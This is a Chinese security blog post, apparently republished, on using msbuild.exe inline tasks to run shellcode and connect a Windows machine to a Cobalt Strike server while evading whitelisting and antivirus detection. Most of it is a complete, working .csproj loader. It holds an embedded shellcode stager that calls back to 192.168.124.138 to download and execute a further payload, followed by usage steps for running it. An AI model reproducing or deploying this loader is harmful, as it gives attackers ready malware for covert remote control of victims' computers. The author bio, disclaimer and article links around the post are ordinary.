2022年2月9日01:16:18评论265 views字数 6351阅读21分10秒阅读模式

实现效果

利用msbuild命令执行文件上线CS

原理

Use MSBuild To Do More
可以简单的理解为，windows下的msbuild命令可以执行内容为特定格式的文件。在.NET Framework 4.0中支持了一项新功能”Inline Tasks”，被包含在元素UsingTask中，可用来在xml文件中执行c#代码。

用途

因为这种方式不限制文件的后缀名，只要内容格式符合要求即可。所以可以几乎所有绕过白名单检测来执行shellcode,可在一定程度上达到免杀效果。

文件参考

<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"><!-- This inline task executes shellcode. --><!-- C:WindowsMicrosoft.NETFrameworkv4.0.30319msbuild.exe SimpleTasks.csproj --><!-- Save This File And Execute The Above Command --><!-- Author: Casey Smith, Twitter: @subTee --><!-- License: BSD 3-Clause --><Target Name="Hello"><ClassExample /></Target><UsingTaskTaskName="ClassExample"TaskFactory="CodeTaskFactory"AssemblyFile="C:WindowsMicrosoft.NetFrameworkv4.0.30319Microsoft.Build.Tasks.v4.0.dll" ><Task>
<Code Type="Class" Language="cs">      <![CDATA[        using System;        using System.Runtime.InteropServices;        using Microsoft.Build.Framework;        using Microsoft.Build.Utilities;        public class ClassExample :  Task, ITask        {                   private static UInt32 MEM_COMMIT = 0x1000;                    private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;                    [DllImport("kernel32")]            private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,            UInt32 size, UInt32 flAllocationType, UInt32 flProtect);                    [DllImport("kernel32")]            private static extern IntPtr CreateThread(                        UInt32 lpThreadAttributes,            UInt32 dwStackSize,            UInt32 lpStartAddress,            IntPtr param,            UInt32 dwCreationFlags,            ref UInt32 lpThreadId                       );          [DllImport("kernel32")]            private static extern UInt32 WaitForSingleObject(                       IntPtr hHandle,            UInt32 dwMilliseconds            );                    public override bool Execute()          {              byte[] shellcode  = new byte[837] { 0xfc, 0xe8, 0x89, 0x00, 0x00, 0x00, 0x60, 0x89, 0xe5, 0x31, 0xd2, 0x64, 0x8b, 0x52, 0x30, 0x8b, 0x52, 0x0c, 0x8b, 0x52, 0x14, 0x8b, 0x72, 0x28, 0x0f, 0xb7, 0x4a, 0x26, 0x31, 0xff, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0xc1, 0xcf, 0x0d, 0x01, 0xc7, 0xe2, 0xf0, 0x52, 0x57, 0x8b, 0x52, 0x10, 0x8b, 0x42, 0x3c, 0x01, 0xd0, 0x8b, 0x40, 0x78, 0x85, 0xc0, 0x74, 0x4a, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x8b, 0x58, 0x20, 0x01, 0xd3, 0xe3, 0x3c, 0x49, 0x8b, 0x34, 0x8b, 0x01, 0xd6, 0x31, 0xff, 0x31, 0xc0, 0xac, 0xc1, 0xcf, 0x0d, 0x01, 0xc7, 0x38, 0xe0, 0x75, 0xf4, 0x03, 0x7d, 0xf8, 0x3b, 0x7d, 0x24, 0x75, 0xe2, 0x58, 0x8b, 0x58, 0x24, 0x01, 0xd3, 0x66, 0x8b, 0x0c, 0x4b, 0x8b, 0x58, 0x1c, 0x01, 0xd3, 0x8b, 0x04, 0x8b, 0x01, 0xd0, 0x89, 0x44, 0x24, 0x24, 0x5b, 0x5b, 0x61, 0x59, 0x5a, 0x51, 0xff, 0xe0, 0x58, 0x5f, 0x5a, 0x8b, 0x12, 0xeb, 0x86, 0x5d, 0x68, 0x6e, 0x65, 0x74, 0x00, 0x68, 0x77, 0x69, 0x6e, 0x69, 0x54, 0x68, 0x4c, 0x77, 0x26, 0x07, 0xff, 0xd5, 0xe8, 0x00, 0x00, 0x00, 0x00, 0x31, 0xff, 0x57, 0x57, 0x57, 0x57, 0x57, 0x68, 0x3a, 0x56, 0x79, 0xa7, 0xff, 0xd5, 0xe9, 0xa4, 0x00, 0x00, 0x00, 0x5b, 0x31, 0xc9, 0x51, 0x51, 0x6a, 0x03, 0x51, 0x51, 0x68, 0xbb, 0x01, 0x00, 0x00, 0x53, 0x50, 0x68, 0x57, 0x89, 0x9f, 0xc6, 0xff, 0xd5, 0x50, 0xe9, 0x8c, 0x00, 0x00, 0x00, 0x5b, 0x31, 0xd2, 0x52, 0x68, 0x00, 0x32, 0xc0, 0x84, 0x52, 0x52, 0x52, 0x53, 0x52, 0x50, 0x68, 0xeb, 0x55, 0x2e, 0x3b, 0xff, 0xd5, 0x89, 0xc6, 0x83, 0xc3, 0x50, 0x68, 0x80, 0x33, 0x00, 0x00, 0x89, 0xe0, 0x6a, 0x04, 0x50, 0x6a, 0x1f, 0x56, 0x68, 0x75, 0x46, 0x9e, 0x86, 0xff, 0xd5, 0x5f, 0x31, 0xff, 0x57, 0x57, 0x6a, 0xff, 0x53, 0x56, 0x68, 0x2d, 0x06, 0x18, 0x7b, 0xff, 0xd5, 0x85, 0xc0, 0x0f, 0x84, 0xca, 0x01, 0x00, 0x00, 0x31, 0xff, 0x85, 0xf6, 0x74, 0x04, 0x89, 0xf9, 0xeb, 0x09, 0x68, 0xaa, 0xc5, 0xe2, 0x5d, 0xff, 0xd5, 0x89, 0xc1, 0x68, 0x45, 0x21, 0x5e, 0x31, 0xff, 0xd5, 0x31, 0xff, 0x57, 0x6a, 0x07, 0x51, 0x56, 0x50, 0x68, 0xb7, 0x57, 0xe0, 0x0b, 0xff, 0xd5, 0xbf, 0x00, 0x2f, 0x00, 0x00, 0x39, 0xc7, 0x75, 0x07, 0x58, 0x50, 0xe9, 0x7b, 0xff, 0xff, 0xff, 0x31, 0xff, 0xe9, 0x91, 0x01, 0x00, 0x00, 0xe9, 0xc9, 0x01, 0x00, 0x00, 0xe8, 0x6f, 0xff, 0xff, 0xff, 0x2f, 0x53, 0x6b, 0x39, 0x65, 0x00, 0x93, 0xf0, 0x7f, 0xc6, 0x49, 0xc8, 0xa6, 0x78, 0xe7, 0x72, 0x7f, 0x95, 0xd6, 0x5a, 0xaf, 0x0a, 0xe6, 0xbe, 0xa9, 0x32, 0x7a, 0x6a, 0xb8, 0x37, 0x02, 0xc8, 0xa2, 0xea, 0xc6, 0x54, 0x47, 0x96, 0xbe, 0xe5, 0xb4, 0x07, 0x4d, 0x93, 0x72, 0x87, 0x10, 0x86, 0xe1, 0xea, 0x46, 0x62, 0x2d, 0x07, 0xe1, 0x84, 0xec, 0xe2, 0x4b, 0xf9, 0x0e, 0x08, 0x1a, 0xcb, 0x4b, 0x88, 0x42, 0x7d, 0x58, 0x19, 0xb9, 0x43, 0xee, 0x0c, 0x49, 0x5d, 0xf5, 0x4b, 0x5c, 0x00, 0x55, 0x73, 0x65, 0x72, 0x2d, 0x41, 0x67, 0x65, 0x6e, 0x74, 0x3a, 0x20, 0x4d, 0x6f, 0x7a, 0x69, 0x6c, 0x6c, 0x61, 0x2f, 0x35, 0x2e, 0x30, 0x20, 0x28, 0x63, 0x6f, 0x6d, 0x70, 0x61, 0x74, 0x69, 0x62, 0x6c, 0x65, 0x3b, 0x20, 0x4d, 0x53, 0x49, 0x45, 0x20, 0x39, 0x2e, 0x30, 0x3b, 0x20, 0x57, 0x69, 0x6e, 0x64, 0x6f, 0x77, 0x73, 0x20, 0x4e, 0x54, 0x20, 0x36, 0x2e, 0x31, 0x3b, 0x20, 0x57, 0x4f, 0x57, 0x36, 0x34, 0x3b, 0x20, 0x54, 0x72, 0x69, 0x64, 0x65, 0x6e, 0x74, 0x2f, 0x35, 0x2e, 0x30, 0x3b, 0x20, 0x41, 0x76, 0x61, 0x6e, 0x74, 0x20, 0x42, 0x72, 0x6f, 0x77, 0x73, 0x65, 0x72, 0x29, 0x0d, 0x0a, 0x00, 0xf4, 0xd2, 0xd8, 0x55, 0xc7, 0x33, 0x93, 0x3c, 0xda, 0x85, 0x1b, 0x7c, 0x41, 0xbf, 0xf5, 0x7c, 0xe5, 0x66, 0xf2, 0x6e, 0x00, 0x71, 0xfe, 0x58, 0x6a, 0xd1, 0x03, 0x3a, 0xb4, 0x88, 0xee, 0xf8, 0xb8, 0xb7, 0x57, 0xf4, 0x33, 0xba, 0x96, 0xfd, 0x90, 0xdd, 0x0f, 0x7f, 0xcf, 0x30, 0x6e, 0x67, 0xe6, 0x31, 0x27, 0x8c, 0xf0, 0xe0, 0x3c, 0xe6, 0xf8, 0x53, 0xad, 0x6d, 0xcf, 0x7d, 0x2a, 0x5d, 0x86, 0x61, 0x4e, 0xe3, 0xae, 0x9e, 0xaf, 0x41, 0xbd, 0x01, 0x32, 0xdd, 0x9e, 0x71, 0x4d, 0xfe, 0x57, 0xfc, 0x0a, 0x40, 0x73, 0x46, 0x4b, 0xb5, 0x02, 0x0f, 0x39, 0xe4, 0xdb, 0x81, 0x09, 0xb4, 0x6a, 0xd7, 0x96, 0x0c, 0x03, 0x4b, 0x0b, 0xe8, 0x5e, 0xd4, 0xa8, 0x31, 0x44, 0x82, 0xaf, 0xf5, 0x8f, 0x24, 0xb6, 0x05, 0x77, 0x4c, 0xb4, 0x05, 0x8b, 0x97, 0x37, 0x93, 0x43, 0x53, 0xea, 0xea, 0x11, 0xcf, 0xda, 0x43, 0xdc, 0x34, 0x1c, 0xa0, 0x2c, 0x27, 0x0b, 0x60, 0xfa, 0x15, 0x63, 0xa8, 0x1f, 0x8f, 0xd2, 0x71, 0xef, 0x55, 0x04, 0xd3, 0x60, 0x00, 0xbf, 0x1f, 0xd8, 0xb7, 0xb5, 0x86, 0x31, 0x32, 0x98, 0x2f, 0xdc, 0x5a, 0xdf, 0x08, 0x48, 0x85, 0x9e, 0x80, 0x39, 0x74, 0x30, 0x09, 0x81, 0x07, 0x57, 0x39, 0x6b, 0x9c, 0xbe, 0x15, 0xdf, 0x4b, 0x0b, 0xe3, 0xf3, 0xb0, 0x05, 0xab, 0xbd, 0xc1, 0xfe, 0x02, 0x97, 0x14, 0xd4, 0xfd, 0x8e, 0xc8, 0xb9, 0x00, 0x68, 0xf0, 0xb5, 0xa2, 0x56, 0xff, 0xd5, 0x6a, 0x40, 0x68, 0x00, 0x10, 0x00, 0x00, 0x68, 0x00, 0x00, 0x40, 0x00, 0x57, 0x68, 0x58, 0xa4, 0x53, 0xe5, 0xff, 0xd5, 0x93, 0xb9, 0x00, 0x00, 0x00, 0x00, 0x01, 0xd9, 0x51, 0x53, 0x89, 0xe7, 0x57, 0x68, 0x00, 0x20, 0x00, 0x00, 0x53, 0x56, 0x68, 0x12, 0x96, 0x89, 0xe2, 0xff, 0xd5, 0x85, 0xc0, 0x74, 0xc6, 0x8b, 0x07, 0x01, 0xc3, 0x85, 0xc0, 0x75, 0xe5, 0x58, 0xc3, 0xe8, 0x89, 0xfd, 0xff, 0xff, 0x31, 0x39, 0x32, 0x2e, 0x31, 0x36, 0x38, 0x2e, 0x31, 0x32, 0x34, 0x2e, 0x31, 0x33, 0x38, 0x00, 0x12, 0x34, 0x56, 0x78 };

              UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length,              MEM_COMMIT, PAGE_EXECUTE_READWRITE);              Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);              IntPtr hThread = IntPtr.Zero;              UInt32 threadId = 0;              IntPtr pinfo = IntPtr.Zero;              hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);              WaitForSingleObject(hThread, 0xFFFFFFFF);              return true;          }         }           ]]></Code></Task></UsingTask></Project>

其他

使用msbuild命令必须在指定的文件夹下，版本必须得是4.0。

下图的两个文件夹区别就是你的shellcode是64位的话就选择Framework64，反之亦然。
利用msbuild命令执行文件上线CS
选择4.0版本进入文件夹。
在这个文件夹中就可以执行msbuild命令了。
命令格式为 msbuild file_path

原创作者：Shanfenglan7

作者介绍：一个刚步入安全行业的人，乐意分享技术，乐意接受批评，乐意交流。希望自己能把抽象的技术用尽量具体的语言讲出来，让每个人都能看懂，并觉得简单。最后希望大家可以关注我的博客：shanfenglan.blog.csdn.net

扫描关注乌云安全

利用msbuild命令执行文件上线CS

觉得不错点个“赞”、“在看”哦

本文始发于微信公众号（乌雲安全）：利用msbuild命令执行文件上线CS

免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。

左青龙
微信扫一扫

右白虎
微信扫一扫

利用msbuild命令执行文件上线CS

原理

用途

文件参考

其他

网络安全人士必知的MCP和A2A协议

第三方供应商遭勒索软件攻击，中国银行和星展银行11,200名客户受影响

低成本本地部署DeepSeek

PG_Vmdak

如何搭建符号执行环境并跑通第一个测试样例

渗透测试|柳暗花明(记一次有趣的高危漏洞以及思考修复方案)

从通过 .js 文件中找到的 URL 访问受限功能，到通过修改 API上HTTP响应中的accessLevel值进行权限提升

Web3 安全入门避坑指南｜剪贴板安全

利用n8n结合ollama-Deepseek大模型创建智能体

如何利用图像验证技术识别钓鱼攻击？

发表评论

在线咨询

微信